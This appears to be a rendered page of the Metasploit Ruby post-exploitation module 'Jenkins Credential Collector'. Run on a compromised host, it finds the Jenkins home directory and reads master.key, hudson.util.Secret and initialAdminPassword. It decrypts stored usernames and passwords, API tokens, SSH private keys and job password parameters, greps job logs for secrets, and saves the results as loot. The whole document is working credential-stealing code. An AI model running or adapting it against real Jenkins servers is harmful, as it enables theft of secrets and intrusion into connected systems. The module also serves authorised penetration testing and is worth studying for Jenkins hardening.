Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/jenkins_gather.rb
Views: 11784
require 'nokogiri'1require 'base64'2require 'digest'3require 'openssl'4require 'sshkey'56class MetasploitModule < Msf::Post7include Msf::Post::File8include Msf::Post::Linux::System910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Jenkins Credential Collector',15'Description' => %q{16This module can be used to extract saved Jenkins credentials, user17tokens, SSH keys, and secrets. Interesting files will be stored in18loot along with combined csv output.19},20'License' => MSF_LICENSE,21'Author' => [ 'thesubtlety' ],22'Platform' => [ 'linux', 'win' ],23'SessionTypes' => %w[shell meterpreter],24'Compat' => {25'Meterpreter' => {26'Commands' => %w[27stdapi_fs_search28]29}30}31)32)33register_options(34[35OptString.new('JENKINS_HOME', [ false, 'Set to the home directory of Jenkins. The Linux versions default to /var/lib/jenkins, but C:\\\\ProgramData\\\\Jenkins\\\\.jenkins on Windows.', ]),36OptBool.new('STORE_LOOT', [false, 'Store files in loot (will simply output file to console if set to false).', true]),37OptBool.new('SEARCH_JOBS', [false, 'Search through job history logs for interesting keywords. Increases runtime.', false])38]39)4041@nodes = []42@creds = []43@ssh_keys = []44@api_tokens = []45end4647def report_creds(user, pass)48return if user.blank? || pass.blank?4950credential_data = {51origin_type: :session,52post_reference_name: fullname,53private_data: pass,54private_type: :password,55session_id: session_db_id,56username: user,57workspace_id: myworkspace_id58}5960create_credential(credential_data)61end6263def parse_credentialsxml(file)64# Newer versions of Jenkins do not create `credentials.xml` until credentials have been added via Jenkins client65# tested on versions 2.401.1, 2.346.366if exists?(file)67vprint_status('Parsing credentials.xml...')68f = read_file(file)69if datastore['STORE_LOOT']70loot_path = store_loot('jenkins.creds', 'text/xml', session, f, file)71vprint_status("File credentials.xml saved to #{loot_path}")72end73else74vprint_status('There is no credential.xml file present')75end7677xml_doc = Nokogiri::XML(f)78xml_doc.xpath('//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl').each do |node|79username = node.xpath('username').text80password = decrypt(node.xpath('password').text)81description = node.xpath('description').text82print_good("Credentials found - Username: #{username} Password: #{password}")83report_creds(username, password)84@creds << [username, password, description]85end8687xml_doc.xpath('//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey').each do |node|88cred_id = node.xpath('id').text89username = node.xpath('username').text90description = node.xpath('description').text91passphrase = node.xpath('passphrase').text92passphrase = decrypt(passphrase)93private_key = node.xpath('//privateKeySource//privateKey').text94private_key = decrypt(private_key) if !private_key.match?(/----BEGIN/)95print_good("SSH Key found! ID: #{cred_id} Passphrase: #{passphrase || '<empty>'} Username: #{username} Description: #{description}")9697store_loot("ssh-#{cred_id}", 'text/plain', session, private_key, nil, nil) if datastore['STORE_LOOT']98@ssh_keys << [cred_id, description, passphrase, username, private_key]99100begin101k = OpenSSL::PKey::RSA.new(private_key, passphrase)102key = SSHKey.new(k, passphrase: passphrase, comment: cred_id)103credential_data = {104origin_type: :session,105session_id: session_db_id,106post_reference_name: refname,107private_type: :ssh_key,108private_data: key.key_object.to_s,109username: cred_id,110workspace_id: myworkspace_id111}112create_credential(credential_data)113rescue OpenSSL::OpenSSLError => e114print_error("Could not save SSH key to creds: #{e.message}")115end116end117end118119def parse_users(file)120f = read_file(file)121fname = file.tr('\\', '/').split('/')[-2]122vprint_status("Parsing user #{fname}...")123124username = ''125api_token = ''126xml_doc = Nokogiri::XML(f)127xml_doc.xpath('//user').each do |node|128username = node.xpath('fullName').text129end130131xml_doc.xpath('//jenkins.security.ApiTokenProperty').each do |node|132api_token = decrypt(node.xpath('apiToken').text)133end134135if api_token136print_good("API Token found - Username: #{username} Token: #{api_token}")137@api_tokens << [username, api_token]138report_creds(username, api_token)139store_loot("user-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']140end141end142143def parse_nodes(file)144f = read_file(file)145fname = file.tr('\\', '/').split('/')[-2]146vprint_status("Parsing node #{fname}...")147148node_name = ''149description = ''150host = ''151port = ''152cred_id = ''153xml_doc = Nokogiri::XML(f)154xml_doc.xpath('//slave').each do |node|155node_name = node.xpath('name').text156description = node.xpath('description').text157end158159xml_doc.xpath('//launcher').each do |node|160host = node.xpath('host').text161port = node.xpath('port').text162cred_id = node.xpath('credentialsId').text163end164165@nodes << [node_name, host, port, description, cred_id]166print_good("Node Info found - Name: #{node_name} Host: #{host} Port: #{port} CredID: #{cred_id}")167store_loot("node-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']168end169170def parse_jobs(file)171f = read_file(file)172fname = file.tr('\\', '/').split('/')[-4]173vprint_status("Parsing job #{fname}...")174175username = ''176pw = ''177job_name = file.split(%r{/jobs/(.*?)/builds/})[1]178xml_doc = Nokogiri::XML(f)179xml_doc.xpath('//hudson.model.PasswordParameterValue').each do |node|180username = node.xpath('name').text181pw = decrypt(node.xpath('value').text)182end183184@creds << [username, pw, '']185print_good("Job Info found - Job Name: #{job_name} User: #{username} Password: #{pw}") if !pw.blank?186store_loot("job-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']187end188189def pretty_print_gathered190creds_table = Rex::Text::Table.new(191'Header' => 'Creds',192'Indent' => 1,193'Columns' =>194[195'Username',196'Password',197'Description'198]199)200@creds.uniq.each { |e| creds_table << e }201print_good("\n" + creds_table.to_s) if !creds_table.rows.count.zero?202store_loot('all.creds.csv', 'text/plain', session, creds_table.to_csv, nil, nil) if datastore['STORE_LOOT']203204api_table = Rex::Text::Table.new(205'Header' => 'API Keys',206'Indent' => 1,207'Columns' =>208[209'Username',210'API Tokens'211]212)213@api_tokens.uniq.each { |e| api_table << e }214print_good("\n" + api_table.to_s) if !api_table.rows.count.zero?215store_loot('all.apitokens.csv', 'text/plain', session, api_table.to_csv, nil, nil) if datastore['STORE_LOOT']216217node_table = Rex::Text::Table.new(218'Header' => 'Nodes',219'Indent' => 1,220'Columns' =>221[222'Node Name',223'Hostname',224'Port',225'Description',226'Cred Id'227]228)229@nodes.uniq.each { |e| node_table << e }230print_good("\n" + node_table.to_s) if !node_table.rows.count.zero?231store_loot('all.nodes.csv', 'text/plain', session, node_table.to_csv, nil, nil) if datastore['STORE_LOOT']232233@ssh_keys.uniq.each do |e|234print_good('SSH Key')235print_status(" ID: #{e[0]}")236print_status(" Description: #{e[1]}") if !e[1].blank?237print_status(" Passphrase: #{e[2]}") if !e[2].blank?238print_status(" Username: #{e[3]}") if !e[3].blank?239print_status("\n#{e[4]}")240end241ssh_output = @ssh_keys.each { |e| e.join(',') + "\n\n\n" }242store_loot('all.sshkeys', 'text/plain', session, ssh_output, nil, nil) if datastore['STORE_LOOT'] && !ssh_output.empty?243end244245def grep_job_history(path, platform)246print_status('Searching through job history for interesting keywords...')247case platform248when 'windows'249results = cmd_exec('cmd.exe', "/c findstr /s /i \"secret key token password\" \"#{path}*log\"")250when 'nix'251results = cmd_exec('/bin/egrep', "-ir \"password|secret|key\" --include log \"#{path}\"")252end253store_loot('jobhistory.truffles', 'text/plain', session, results, nil, nil) if datastore['STORE_LOOT'] && !results.empty?254print_good("Job Log truffles:\n#{results}") if !results.empty?255end256257def find_configs(path, platform)258case platform259260when 'windows'261case session.type262when 'meterpreter'263configs = ''264c = session.fs.file.search(path, 'config.xml', true, -1) \265.concat(session.fs.file.search(path, 'build.xml', true, -1))266c.each { |f| configs << f['path'] + '\\' + f['name'] + "\n" }267else268configs = cmd_exec('cmd.exe', "/c dir /b /s \"#{path}\\*config.xml\" \"#{path}\\*build.xml\"")269end270configs.split("\n").each do |f|271case f272when /\\users\\/273parse_users(f)274when /\\jobs\\/275parse_jobs(f)276when /\\nodes\\/277parse_nodes(f)278end279end280281when 'nix'282configs = cmd_exec('/usr/bin/find', "\"#{path}\" -name config.xml -o -name build.xml")283configs.split("\n").each do |f|284case f285when %r{/users/}286parse_users(f)287when %r{/jobs/}288parse_jobs(f)289when %r{/nodes/}290parse_nodes(f)291end292end293end294end295296def get_key_material(home, platform)297case platform298when 'windows'299master_key_path = "#{home}\\secrets\\master.key"300hudson_secret_key_path = "#{home}\\secrets\\hudson.util.Secret"301initial_admin_password_path = "#{home}\\secrets\\initialAdminPassword"302when 'nix'303master_key_path = "#{home}/secrets/master.key"304hudson_secret_key_path = "#{home}/secrets/hudson.util.Secret"305initial_admin_password_path = "#{home}/secrets/initialAdminPassword"306end307308# Newer versions of Jenkins have an `initialAdminPassword` which contains the initial password set when configuring Jenkins309# tested on versions 2.401.1, 2.346.3, 2.103310if exists?(initial_admin_password_path)311initial_admin_password = read_file(initial_admin_password_path).strip312313if datastore['STORE_LOOT']314loot_path = store_loot('initialAdminPassword', 'text/plain', session, initial_admin_password)315print_status("File initialAdminPassword saved to #{loot_path}")316else317print_status("File initialAdminPassword contents: #{initial_admin_password}")318end319else320print_error 'Cannot read initialAdminPassword...'321end322323if exists?(master_key_path)324@master_key = read_file(master_key_path)325326if datastore['STORE_LOOT']327loot_path = store_loot('master.key', 'text/plain', session, @master_key)328print_status("File master.key saved to #{loot_path}")329else330print_status("File master.key contents: #{@master_key}")331end332else333print_error 'Cannot read master.key...'334end335336# Newer versions of Jenkins do not create `hudson.util.Secret` until credentials have been added via Jenkins client337# tested on versions 2.401.1, 2.346.3338if exists?(hudson_secret_key_path)339@hudson_secret_key = read_file(hudson_secret_key_path)340341if datastore['STORE_LOOT']342loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)343print_status("File hudson.util.Secret saved to #{loot_path}")344end345else346print_error 'Cannot read hudson.util.Secret...'347end348end349350def find_home(platform)351if datastore['JENKINS_HOME']352if exist?(datastore['JENKINS_HOME'] + '/secret.key.not-so-secret')353return datastore['JENKINS_HOME']354end355print_status(datastore['JENKINS_HOME'] + ' does not seem to contain secrets.')356end357358print_status('Searching for Jenkins directory... This could take some time...')359case platform360when 'windows'361if exists?('C:\\ProgramData\\Jenkins\\.jenkins\\secret.key.not-so-secret')362home = 'C:\\ProgramData\\Jenkins\\.jenkins\\'363else364case session.type365when 'meterpreter'366home = session.fs.file.search(nil, 'secret.key.not-so-secret')[0]['path']367else368home = cmd_exec('cmd.exe', "/c dir /b /s c:\*secret.key.not-so-secret", 120).split('\\')[0..-2].join('\\').strip369end370end371when 'nix'372if exists?('/var/lib/jenkins/secret.key.not-so-secret')373home = '/var/lib/jenkins/'374else375home = cmd_exec('find', "/ -name 'secret.key.not-so-secret' 2>/dev/null", 120).split('/')[0..-2].join('/').strip376end377end378fail_with(Failure::NotFound, 'No Jenkins installation found or readable, exiting...') if !exist?(home)379print_status("Found Jenkins installation at #{home}")380home381end382383def gathernix384home = find_home('nix')385get_key_material(home, 'nix')386parse_credentialsxml(home + '/credentials.xml')387find_configs(home, 'nix')388grep_job_history(home + '/jobs/', 'nix') if datastore['SEARCH_JOBS']389pretty_print_gathered390end391392def gatherwin393home = find_home('windows')394get_key_material(home, 'windows')395parse_credentialsxml(home + '\\credentials.xml')396find_configs(home, 'windows')397grep_job_history(home + '\\jobs\\', 'windows') if datastore['SEARCH_JOBS']398pretty_print_gathered399end400401def run402case session.platform403when 'linux'404gathernix405else406gatherwin407end408end409410def decrypt_key(master_key, hudson_secret_key)411# https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c412magic = '::::MAGIC::::'413hashed_master_key = Digest::SHA256.digest(master_key)[0..15]414intermediate = OpenSSL::Cipher.new('AES-128-ECB')415intermediate.decrypt416intermediate.key = hashed_master_key417418salted_final = intermediate.update(hudson_secret_key) + intermediate.final419raise 'no magic key in a' if !salted_final.include?(magic)420421salted_final[0..15]422end423424def decrypt_v2(encrypted)425master_key = @master_key426hudson_secret_key = @hudson_secret_key427key = decrypt_key(master_key, hudson_secret_key)428encrypted_text = Base64.decode64(encrypted).bytes429430iv_length = ((encrypted_text[1] & 0xff) << 24) | ((encrypted_text[2] & 0xff) << 16) | ((encrypted_text[3] & 0xff) << 8) | (encrypted_text[4] & 0xff)431data_length = ((encrypted_text[5] & 0xff) << 24) | ((encrypted_text[6] & 0xff) << 16) | ((encrypted_text[7] & 0xff) << 8) | (encrypted_text[8] & 0xff)432if encrypted_text.length != (1 + 8 + iv_length + data_length)433print_error("Invalid encrypted string: #{encrypted}")434end435iv = encrypted_text[9..(9 + iv_length)].pack('C*')[0..15]436code = encrypted_text[(9 + iv_length)..encrypted_text.length].pack('C*').force_encoding('UTF-8')437438cipher = OpenSSL::Cipher.new('AES-128-CBC')439cipher.decrypt440cipher.key = key441cipher.iv = iv442443text = cipher.update(code) + cipher.final444text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token445text446rescue StandardError => e447print_error(e.to_s)448return 'Could not decrypt string'449end450451def decrypt_legacy(encrypted)452# https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c453454magic = '::::MAGIC::::'455master_key = @master_key456hudson_secret_key = @hudson_secret_key457encrypted = Base64.decode64(encrypted)458459key = decrypt_key(master_key, hudson_secret_key)460cipher = OpenSSL::Cipher.new('AES-128-ECB')461cipher.decrypt462cipher.key = key463464text = cipher.update(encrypted) + cipher.final465text = text[0..(text.length - magic.size - 1)]466text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token467text468rescue StandardError => e469print_error(e.to_s)470return 'Could not decrypt string'471end472473def decrypt(encrypted)474return if encrypted.empty?475476if encrypted[0] == '{' && encrypted[-1] == '}'477decrypt_v2(encrypted)478else479decrypt_legacy(encrypted)480end481end482end483484485